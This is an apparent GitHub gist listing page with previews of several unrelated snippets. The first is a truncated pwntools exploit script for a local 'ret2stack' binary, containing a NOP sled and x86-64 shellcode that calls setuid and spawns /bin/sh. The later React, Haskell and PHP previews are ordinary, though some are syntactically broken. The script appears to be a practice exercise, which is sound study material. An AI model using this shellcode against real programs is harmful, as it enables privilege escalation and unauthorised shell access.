Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python
from pwn import *
import struct, sys
p = process("./ret2stack")
nop_sled = '\x90' * 16
shellcode = '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05'
@veeeeeeeeeee
veeeeeeeeeee / HoC.jsx
Last active February 9, 2019 06:07
JS Snippets
// Enhancer.js
import { transform } from 'magic';
export const Enhancer = WrappedComponent =>
class EnhancedComponent {
// ...
const transformedProps = transform(this.props);
render() {
return <WrappedComponent ...transformedProps />;
@veeeeeeeeeee
veeeeeeeeeee / baby_recursion.hs
Last active January 15, 2019 07:40
Haskell snippets
module Main where
main :: IO ()
main = do
putStrLn (greet "hello world")
putStrLn (greet "viet")
fac :: (Integral a) => a -> a
fac 0 = 1
@veeeeeeeeeee
veeeeeeeeeee / curl_wrapper.php
Last active November 21, 2018 00:22
PHP snippets
<?
public function curl($method, $id, $custom, $body) {
ob_start();
$curl = curl_init();
if ($id) $$url .= $id;
if ($custom) $url .= $custom;
$headers = [
'Content-Type: application/json',
@veeeeeeeeeee
veeeeeeeeeee / snippets.php
Last active January 17, 2019 04:35
PHP snippets
// dump array key -> value without noise
function pprint($array) {
echo "<pre style=\"background-color: #ddd;\">";
print_r($array);
echo "</pre>";
}
function randomString($length) {
if (gettype($length) !== 'integer') {
$length = 30;